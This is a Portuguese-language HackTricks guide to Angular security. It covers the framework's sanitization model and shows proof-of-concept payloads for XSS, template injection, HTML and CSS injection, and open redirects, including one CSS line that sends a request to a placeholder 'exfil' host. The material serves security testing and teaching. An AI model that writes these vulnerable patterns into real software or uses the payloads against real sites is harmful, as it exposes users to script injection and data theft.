mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 21:13:44 +00:00
607 lines
30 KiB
Markdown
607 lines
30 KiB
Markdown
# Angular
|
|
|
|
## A Lista de Verificação
|
|
|
|
Verifique se:
|
|
|
|
* [ ] O Angular é considerado um framework do lado do cliente e não é esperado que forneça proteção do lado do servidor
|
|
* [ ] O sourcemap para scripts está desabilitado na configuração do projeto
|
|
* [ ] A entrada do usuário não confiável é sempre interpolada ou sanitizada antes de ser usada em templates
|
|
* [ ] O usuário não tem controle sobre os templates do lado do servidor ou do lado do cliente
|
|
* [ ] A entrada do usuário não confiável é sanitizada usando um contexto de segurança apropriado antes de ser confiada pela aplicação
|
|
* [ ] Os métodos `BypassSecurity*` não são usados com entrada não confiável
|
|
* [ ] A entrada do usuário não confiável não é passada para classes Angular como `ElementRef`, `Renderer2` e `Document`, ou outros pontos de injeção de JQuery/DOM
|
|
|
|
## O que é o Angular
|
|
|
|
O Angular é um poderoso framework front-end amplamente utilizado para construir aplicações web dinâmicas. É de código aberto e mantido pelo Google. Uma das principais características do Angular é o uso do TypeScript, um superset tipado do JavaScript que torna o código mais fácil de ler, manter e depurar.
|
|
|
|
Os mecanismos de segurança do Angular são projetados para prevenir vulnerabilidades comuns do lado do cliente, incluindo cross-site scripting (XSS) e redirecionamentos abertos. No entanto, o Angular também pode ser usado no lado do servidor para gerar páginas estáticas. Portanto, a segurança do Angular deve ser considerada de ambos os lados.
|
|
|
|
## Arquitetura do framework
|
|
|
|
Para entender melhor os conceitos básicos do Angular, vamos analisar seus conceitos essenciais.
|
|
|
|
Um projeto Angular comum geralmente se parece com:
|
|
```bash
|
|
my-workspace/
|
|
├── ... #workspace-wide configuration files
|
|
├── src
|
|
│ ├── app
|
|
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
|
|
│ │ ├── app.component.ts #defines the logic for the application's root component
|
|
│ │ ├── app.component.html #defines the HTML template associated with the root component
|
|
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
|
|
│ │ ├── app.component.spec.ts #defines a unit test for the root component
|
|
│ │ └── app-routing.module.ts #provides routing capability for the application
|
|
│ ├── lib
|
|
│ │ └── src #library-specific configuration files
|
|
│ ├── index.html #main HTML page, where the component will be rendered in
|
|
│ └── ... #application-specific configuration files
|
|
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
|
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
|
```
|
|
De acordo com a documentação, cada aplicação Angular tem pelo menos um componente, o componente raiz (`AppComponent`), que conecta uma hierarquia de componentes com o DOM. Cada componente define uma classe que contém dados e lógica da aplicação, e está associado a um template HTML que define uma visualização a ser exibida em um ambiente alvo. O decorador `@Component()` identifica a classe imediatamente abaixo dele como um componente e fornece o template e metadados específicos do componente. O `AppComponent` é definido no arquivo `app.component.ts`.
|
|
|
|
Os módulos NgModules do Angular declaram um contexto de compilação para um conjunto de componentes dedicados a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular tem um módulo raiz, convencionalmente chamado de `AppModule`, que fornece o mecanismo de inicialização que inicia a aplicação. Uma aplicação geralmente contém muitos módulos funcionais. O `AppModule` é definido no arquivo `app.module.ts`.
|
|
|
|
O NgModule `Router` do Angular fornece um serviço que permite definir um caminho de navegação entre os diferentes estados da aplicação e hierarquias de visualização em sua aplicação. O `RouterModule` é definido no arquivo `app-routing.module.ts`.
|
|
|
|
Para dados ou lógica que não estão associados a uma visualização específica e que você deseja compartilhar entre componentes, você cria uma classe de serviço. A definição da classe de serviço é imediatamente precedida pelo decorador `@Injectable()`. O decorador fornece os metadados que permitem que outros provedores sejam injetados como dependências em sua classe. A injeção de dependência (DI) permite que você mantenha suas classes de componente enxutas e eficientes. Elas não buscam dados do servidor, validam a entrada do usuário ou registram diretamente no console; elas delegam essas tarefas para serviços.
|
|
|
|
## Configuração do sourcemap
|
|
|
|
O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções do arquivo `tsconfig.json` e, em seguida, constrói um projeto com a configuração do arquivo `angular.json`. Ao analisar o arquivo `angular.json`, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão possui um arquivo sourcemap habilitado para scripts e não está oculto por padrão:
|
|
```json
|
|
"sourceMap": {
|
|
"scripts": true,
|
|
"styles": true,
|
|
"vendor": false,
|
|
"hidden": false
|
|
}
|
|
```
|
|
Geralmente, os arquivos de sourcemap são utilizados para fins de depuração, pois eles mapeiam arquivos gerados para seus arquivos originais. Portanto, não é recomendado utilizá-los em um ambiente de produção. Se os sourcemaps estiverem habilitados, eles melhoram a legibilidade e auxiliam na análise de arquivos, replicando o estado original do projeto Angular. No entanto, se eles estiverem desabilitados, um revisor ainda pode analisar um arquivo JavaScript compilado manualmente, procurando por padrões anti-segurança.
|
|
|
|
Além disso, um arquivo JavaScript compilado com um projeto Angular pode ser encontrado nas ferramentas de desenvolvedor do navegador → Sources (ou Debugger e Sources) → \[id].main.js. Dependendo das opções habilitadas, esse arquivo pode conter a seguinte linha no final `//# sourceMappingURL=[id].main.js.map` ou pode não conter, se a opção **hidden** estiver definida como **true**. No entanto, se o sourcemap estiver desabilitado para **scripts**, os testes se tornam mais complexos e não podemos obter o arquivo. Além disso, o sourcemap pode ser habilitado durante a construção do projeto, como `ng build --source-map`.
|
|
|
|
## Data binding
|
|
|
|
Binding refere-se ao processo de comunicação entre um componente e sua visualização correspondente. É utilizado para transferir dados para e do framework Angular. Os dados podem ser passados por meio de vários meios, como eventos, interpolação, propriedades ou por meio do mecanismo de binding bidirecional. Além disso, os dados também podem ser compartilhados entre componentes relacionados (relação pai-filho) e entre dois componentes não relacionados usando o recurso de Serviço.
|
|
|
|
Podemos classificar o binding pelo fluxo de dados:
|
|
|
|
* Fonte de dados para alvo de visualização (inclui _interpolação_, _propriedades_, _atributos_, _classes_ e _estilos_); pode ser aplicado usando `[]` ou `{{}}` no template;
|
|
* Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template;
|
|
* Bidirecional; pode ser aplicado usando `[()]` no template.
|
|
|
|
O binding pode ser realizado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem:
|
|
|
|
| TIPO | ALVO | EXEMPLOS |
|
|
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
|
| Propriedade | Propriedade do elemento, propriedade do componente, propriedade da diretiva | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
|
| Evento | Evento do elemento, evento do componente, evento da diretiva | \<button type="button" (click)="onSave()">Save |
|
|
| Bidirecional | Evento e propriedade | \<input \[(ngModel)]="name"> |
|
|
| Atributo | Atributo (a exceção) | \<button type="button" \[attr.aria-label]="help">help |
|
|
| Classe | Propriedade de classe | \<div \[class.special]="isSpecial">Special |
|
|
| Estilo | Propriedade de estilo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
|
|
|
## Modelo de segurança do Angular
|
|
|
|
O design do Angular inclui a codificação ou sanitização de todos os dados por padrão, tornando cada vez mais difícil descobrir e explorar vulnerabilidades de XSS em projetos Angular. Existem dois cenários distintos para o tratamento de dados:
|
|
|
|
1. Interpolação ou `{{user_input}}` - realiza a codificação sensível ao contexto e interpreta a entrada do usuário como texto;
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
|
|
//app.component.html
|
|
{{test}}
|
|
```
|
|
|
|
Resultado: `<script>alert(1)</script><h1>test</h1>`
|
|
2. Binding para propriedades, atributos, classes e estilos ou `[attribute]="user_input"` - realiza a sanitização com base no contexto de segurança fornecido.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
|
|
//app.component.html
|
|
<div [innerHtml]="test"></div>
|
|
```
|
|
|
|
Resultado: `<div><h1>test</h1></div>`
|
|
|
|
Existem 6 tipos de `SecurityContext` :
|
|
|
|
* `None`;
|
|
* `HTML` é usado ao interpretar o valor como HTML;
|
|
* `STYLE` é usado ao vincular CSS à propriedade `style`;
|
|
* `URL` é usado para propriedades de URL, como `<a href>`;
|
|
* `SCRIPT` é usado para código JavaScript;
|
|
* `RESOURCE_URL` como uma URL que é carregada e executada como código, por exemplo, em `<script src>`.
|
|
|
|
## Vulnerabilidades
|
|
|
|
### Bypass dos métodos de confiança de segurança
|
|
|
|
O Angular introduz uma lista de métodos para ignorar seu processo de sanitização padrão e indicar que um valor pode ser usado com segurança em um contexto específico, como nos cinco exemplos a seguir:
|
|
|
|
1. `bypassSecurityTrustUrl` é usado para indicar que o valor fornecido é uma URL de estilo segura:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
|
|
|
//app.component.html
|
|
<a class="e2e-trusted-url" [href]="trustedUrl">Clique em mim</a>
|
|
|
|
//resultado
|
|
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Clique em mim</a>
|
|
```
|
|
2. `bypassSecurityTrustResourceUrl` é usado para indicar que o valor fornecido é uma URL de recurso segura:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
|
|
|
|
//app.component.html
|
|
<iframe [src]="trustedResourceUrl"></iframe>
|
|
|
|
//resultado
|
|
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
|
```
|
|
3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que a inserção de elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
|
|
|
//app.component.html
|
|
<p style="border:solid" [innerHtml]="trustedHtml"></p>
|
|
|
|
//resultado
|
|
<h1>tag html</h1>
|
|
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
|
```
|
|
4. `bypassSecurityTrustScript` é usado para indicar que o valor fornecido é JavaScript seguro. No entanto, descobrimos que seu comportamento é imprevisível, pois não conseguimos executar código JS nos templates usando esse método.
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
|
|
|
|
//app.component.html
|
|
<script [innerHtml]="trustedScript"></script>
|
|
|
|
//resultado
|
|
-
|
|
```
|
|
5. `bypassSecurityTrustStyle` é usado para indicar que o valor fornecido é CSS seguro. O exemplo a seguir ilustra a injeção de CSS:
|
|
|
|
```jsx
|
|
//app.component.ts
|
|
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
|
|
|
|
//app.component.html
|
|
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
|
|
|
|
//resultado
|
|
Request URL: GET example.com/exfil/a
|
|
```
|
|
|
|
O Angular fornece um método `sanitize` para limpar os dados antes de exibi-los nas visualizações. Esse método utiliza o contexto de segurança fornecido e limpa a entrada de acordo. No entanto, é crucial usar o contexto de segurança correto para os dados e contexto específicos. Por exemplo, aplicar um sanitizador com `SecurityContext.URL` em conteúdo HTML não oferece proteção contra valores HTML perigosos. Em tais cenários, o uso incorreto do contexto de segurança pode levar a vulnerabilidades de XSS.
|
|
### Injeção de HTML
|
|
|
|
Essa vulnerabilidade ocorre quando a entrada do usuário é vinculada a uma das três propriedades: `innerHTML`, `outerHTML` ou `iframe` `srcdoc`. Enquanto a vinculação a esses atributos interpreta o HTML como está, a entrada é sanitizada usando `SecurityContext.HTML`. Assim, a injeção de HTML é possível, mas o cross-site scripting (XSS) não.
|
|
|
|
Exemplo de uso de `innerHTML`:
|
|
|
|
```html
|
|
<div [innerHTML]="userInput"></div>
|
|
```
|
|
```jsx
|
|
//app.component.ts
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html'
|
|
})
|
|
export class AppComponent{
|
|
//define a variable with user input
|
|
test = "<script>alert(1)</script><h1>test</h1>";
|
|
}
|
|
|
|
//app.component.html
|
|
<div [innerHTML]="test"></div>
|
|
```
|
|
O resultado é `<div><h1>teste</h1></div>`.
|
|
|
|
### Injeção de Template
|
|
|
|
#### Renderização do Lado do Cliente (CSR)
|
|
|
|
O Angular utiliza templates para construir páginas dinamicamente. A abordagem envolve envolver expressões de template para o Angular avaliar dentro de chaves duplas (`{{}}`). Dessa forma, o framework oferece funcionalidades adicionais. Por exemplo, um template como `{{1+1}}` seria exibido como 2.
|
|
|
|
Normalmente, o Angular escapa a entrada do usuário que pode ser confundida com expressões de template (por exemplo, caracteres como \`< > ' " \`\`). Isso significa que são necessárias etapas adicionais para contornar essa restrição, como utilizar funções que geram objetos de string JavaScript para evitar o uso de caracteres na lista negra. No entanto, para alcançar isso, devemos considerar o contexto do Angular, suas propriedades e variáveis. Portanto, um ataque de injeção de template pode aparecer da seguinte forma:
|
|
```jsx
|
|
//app.component.ts
|
|
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: '<h1>title</h1>' + _userInput
|
|
})
|
|
```
|
|
Como mostrado acima: `constructor` refere-se ao escopo da propriedade `constructor` do objeto, permitindo-nos invocar o construtor de String e executar um código arbitrário.
|
|
|
|
#### Renderização do Lado do Servidor (SSR)
|
|
|
|
Ao contrário do CSR, que ocorre no DOM do navegador, o Angular Universal é responsável pela SSR dos arquivos de modelo. Esses arquivos são então entregues ao usuário. Apesar dessa distinção, o Angular Universal aplica os mesmos mecanismos de sanitização usados no CSR para melhorar a segurança do SSR. Uma vulnerabilidade de injeção de modelo no SSR pode ser identificada da mesma forma que no CSR, porque a linguagem de modelo usada é a mesma.
|
|
|
|
É claro que também há a possibilidade de introduzir novas vulnerabilidades de injeção de modelo ao usar mecanismos de modelo de terceiros, como Pug e Handlebars.
|
|
|
|
### XSS
|
|
|
|
#### Interfaces DOM
|
|
|
|
Como mencionado anteriormente, podemos acessar diretamente o DOM usando a interface _Document_. Se a entrada do usuário não for validada antecipadamente, isso pode levar a vulnerabilidades de cross-site scripting (XSS).
|
|
|
|
Nós usamos os métodos `document.write()` e `document.createElement()` nos exemplos abaixo:
|
|
```jsx
|
|
//app.component.ts 1
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
document.open();
|
|
document.write("<script>alert(document.domain)</script>");
|
|
document.close();
|
|
}
|
|
}
|
|
|
|
//app.component.ts 2
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
var d = document.createElement('script');
|
|
var y = document.createTextNode("alert(1)");
|
|
d.appendChild(y);
|
|
document.body.appendChild(d);
|
|
}
|
|
}
|
|
|
|
//app.component.ts 3
|
|
import { Component} from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
template: ''
|
|
})
|
|
export class AppComponent{
|
|
constructor () {
|
|
var a = document.createElement('img');
|
|
a.src='1';
|
|
a.setAttribute('onerror','alert(1)');
|
|
document.body.appendChild(a);
|
|
}
|
|
}
|
|
```
|
|
#### Classes do Angular
|
|
|
|
Existem algumas classes que podem ser usadas para trabalhar com elementos DOM no Angular: `ElementRef`, `Renderer2`, `Location` e `Document`. Uma descrição detalhada das duas últimas classes é fornecida na seção **Redirecionamentos abertos**. A principal diferença entre as duas primeiras é que a API `Renderer2` fornece uma camada de abstração entre o elemento DOM e o código do componente, enquanto `ElementRef` apenas mantém uma referência ao elemento. Portanto, de acordo com a documentação do Angular, a API `ElementRef` deve ser usada apenas como último recurso quando o acesso direto ao DOM é necessário.
|
|
|
|
* `ElementRef` contém a propriedade `nativeElement`, que pode ser usada para manipular os elementos DOM. No entanto, o uso inadequado de `nativeElement` pode resultar em uma vulnerabilidade de injeção de XSS, como mostrado abaixo:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
...
|
|
constructor(private elementRef: ElementRef) {
|
|
const s = document.createElement('script');
|
|
s.type = 'text/javascript';
|
|
s.textContent = 'alert("Hello World")';
|
|
this.elementRef.nativeElement.appendChild(s);
|
|
}
|
|
}
|
|
```
|
|
* Apesar do fato de que `Renderer2` fornece uma API que pode ser usada com segurança mesmo quando o acesso direto a elementos nativos não é suportado, ainda existem algumas falhas de segurança. Com `Renderer2`, é possível definir atributos em um elemento HTML usando o método `setAttribute()`, que não possui mecanismos de prevenção de XSS.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
|
|
public constructor (
|
|
private renderer2: Renderer2
|
|
){}
|
|
@ViewChild("img") img!: ElementRef;
|
|
|
|
addAttribute(){
|
|
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
|
|
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<img #img>
|
|
<button (click)="setAttribute()">Clique aqui!</button>
|
|
```
|
|
* Para definir a propriedade de um elemento DOM, você pode usar o método `Renderer2.setProperty()` e desencadear um ataque XSS:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
|
|
public constructor (
|
|
private renderer2: Renderer2
|
|
){}
|
|
@ViewChild("img") img!: ElementRef;
|
|
|
|
setProperty(){
|
|
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<a #a></a>
|
|
<button (click)="setProperty()">Clique aqui!</button>
|
|
```
|
|
|
|
Durante nossa pesquisa, também examinamos o comportamento de outros métodos do `Renderer2`, como `setStyle()`, `createComment()` e `setValue()`, em relação a injeções de XSS e CSS. No entanto, não conseguimos encontrar nenhum vetor de ataque válido para esses métodos devido às suas limitações funcionais.
|
|
|
|
#### jQuery
|
|
|
|
jQuery é uma biblioteca JavaScript rápida, pequena e rica em recursos que pode ser usada no projeto Angular para ajudar na manipulação de objetos DOM HTML. No entanto, como é conhecido, os métodos dessa biblioteca podem ser explorados para obter uma vulnerabilidade de XSS. Para discutir como alguns métodos vulneráveis do jQuery podem ser explorados em projetos Angular, adicionamos esta subseção.
|
|
|
|
* O método `html()` obtém o conteúdo HTML do primeiro elemento no conjunto de elementos correspondentes ou define o conteúdo HTML de cada elemento correspondente. No entanto, por design, qualquer construtor ou método do jQuery que aceite uma string HTML pode potencialmente executar código. Isso pode ocorrer pela injeção de tags `<script>` ou pelo uso de atributos HTML que executam código, como mostrado no exemplo.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, OnInit } from '@angular/core';
|
|
import * as $ from 'jquery';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent implements OnInit
|
|
{
|
|
ngOnInit()
|
|
{
|
|
$("button").on("click", function()
|
|
{
|
|
$("p").html("<script>alert(1)</script>");
|
|
});
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button>Clique aqui</button>
|
|
<p>algum texto aqui</p>
|
|
```
|
|
* O método `jQuery.parseHTML()` usa métodos nativos para converter a string em um conjunto de nós DOM, que podem então ser inseridos no documento.
|
|
|
|
```tsx
|
|
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
|
```
|
|
|
|
Como mencionado anteriormente, a maioria das APIs do jQuery que aceitam strings HTML executará scripts incluídos no HTML. O método `jQuery.parseHTML()` não executa scripts no HTML analisado, a menos que `keepScripts` seja explicitamente `true`. No entanto, ainda é possível executar scripts indiretamente na maioria dos ambientes, por exemplo, por meio do atributo `<img onerror>`.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, OnInit } from '@angular/core';
|
|
import * as $ from 'jquery';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent implements OnInit
|
|
{
|
|
ngOnInit()
|
|
{
|
|
$("button").on("click", function()
|
|
{
|
|
var $palias = $("#palias"),
|
|
str = "<img src=1 onerror=alert(1)>",
|
|
html = $.parseHTML(str),
|
|
nodeNames = [];
|
|
$palias.append(html);
|
|
});
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button>Clique aqui</button>
|
|
<p id="palias">algum texto</p>
|
|
```
|
|
|
|
### Redirecionamentos abertos
|
|
|
|
#### Interfaces DOM
|
|
|
|
De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm uma implementação semelhante de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e ataques de XSS no esquema `javascript://`, conforme mencionado abaixo.
|
|
|
|
* `window.location.href`(e `document.location.href`)
|
|
|
|
A maneira canônica de obter o objeto de localização DOM atual é usando `window.location`. Também pode ser usado para redirecionar o navegador para uma nova página. Como resultado, ter controle sobre esse objeto nos permite explorar uma vulnerabilidade de redirecionamento aberto.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.href = "https://google.com/about"
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button type="button" (click)="goToUrl()">Clique aqui!</button>
|
|
```
|
|
|
|
O processo de exploração é idêntico para os seguintes cenários.
|
|
* `window.location.assign()`(e `document.location.assign()`)
|
|
|
|
Este método faz com que a janela carregue e exiba o documento no URL especificado. Se tivermos controle sobre esse método, ele pode ser um ponto de entrada para um ataque de redirecionamento aberto.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.assign("https://google.com/about")
|
|
}
|
|
}
|
|
```
|
|
* `window.location.replace()`(e `document.location.replace()`)
|
|
|
|
Este método substitui o recurso atual pelo recurso fornecido pelo URL.
|
|
|
|
A diferença em relação ao método `assign()` é que, após usar `window.location.replace()`, a página atual não será salva no histórico de sessão. No entanto, também é possível explorar uma vulnerabilidade de redirecionamento aberto quando temos controle sobre esse método.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.location.replace("http://google.com/about")
|
|
}
|
|
}
|
|
```
|
|
* `window.open()`
|
|
|
|
O método `window.open()` recebe um URL e carrega o recurso que ele identifica em uma nova ou existente guia ou janela. Ter controle sobre esse método também pode ser uma oportunidade para desencadear uma vulnerabilidade de XSS ou redirecionamento aberto.
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
...
|
|
export class AppComponent {
|
|
goToUrl(): void {
|
|
window.open("https://google.com/about", "_blank")
|
|
}
|
|
}
|
|
```
|
|
#### Classes do Angular
|
|
|
|
* De acordo com a documentação do Angular, a classe Angular `Document` é a mesma que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser alvos para ataques bem-sucedidos de redirecionamento aberto, como mostrado no exemplo:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, Inject } from '@angular/core';
|
|
import { DOCUMENT } from '@angular/common';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css']
|
|
})
|
|
export class AppComponent {
|
|
constructor(@Inject(DOCUMENT) private document: Document) { }
|
|
|
|
goToUrl(): void {
|
|
this.document.location.href = 'https://google.com/about';
|
|
}
|
|
}
|
|
|
|
//app.component.html
|
|
<button type="button" (click)="goToUrl()">Clique aqui!</button>
|
|
```
|
|
* Durante a fase de pesquisa, também revisamos a classe Angular `Location` em busca de vulnerabilidades de redirecionamento aberto, mas não encontramos vetores válidos. `Location` é um serviço do Angular que as aplicações podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL fornecida - `go()`, `replaceState()` e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:
|
|
|
|
```tsx
|
|
//app.component.ts
|
|
import { Component, Inject } from '@angular/core';
|
|
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
|
|
|
|
@Component({
|
|
selector: 'app-root',
|
|
templateUrl: './app.component.html',
|
|
styleUrls: ['./app.component.css'],
|
|
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
|
|
})
|
|
export class AppComponent {
|
|
location: Location;
|
|
constructor(location: Location) {
|
|
this.location = location;
|
|
}
|
|
goToUrl(): void {
|
|
console.log(this.location.go("http://google.com/about"));
|
|
}
|
|
}
|
|
```
|
|
|
|
Resultado: `http://localhost:4200/http://google.com/about`
|
|
* A classe Angular `Router` é usada principalmente para navegar dentro do mesmo domínio e não introduz nenhuma vulnerabilidade adicional à aplicação:
|
|
|
|
```jsx
|
|
//app-routing.module.ts
|
|
const routes: Routes = [
|
|
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
|
|
```
|
|
|
|
Resultado: `http://localhost:4200/https:`
|
|
|
|
Os seguintes métodos também navegam dentro do escopo do domínio:
|
|
|
|
```jsx
|
|
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
|
|
this.router.navigate(['PATH'])
|
|
this.router.navigateByUrl('URL')
|
|
```
|
|
|
|
## Referências
|
|
|
|
* [Angular](https://angular.io/)
|
|
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
|
|
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
|
|
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
|
|
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
|
|
* [Workspace and project file structure](https://angular.io/guide/file-structure)
|
|
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
|
|
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
|
|
* [Binding syntax](https://angular.io/guide/binding-syntax)
|
|
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
|
|
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
|
|
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
|
|
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
|
|
* [Angular Universal](https://angular.io/guide/universal)
|
|
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
|
|
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
|
|
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
|
|
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
|
|
* [jQuery API Documentation](http://api.jquery.com/)
|
|
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
|
|
* [Angular Document](https://angular.io/api/common/DOCUMENT)
|
|
* [Angular Location](https://angular.io/api/common/Location)
|
|
* [Angular Router](https://angular.io/api/router/Router)
|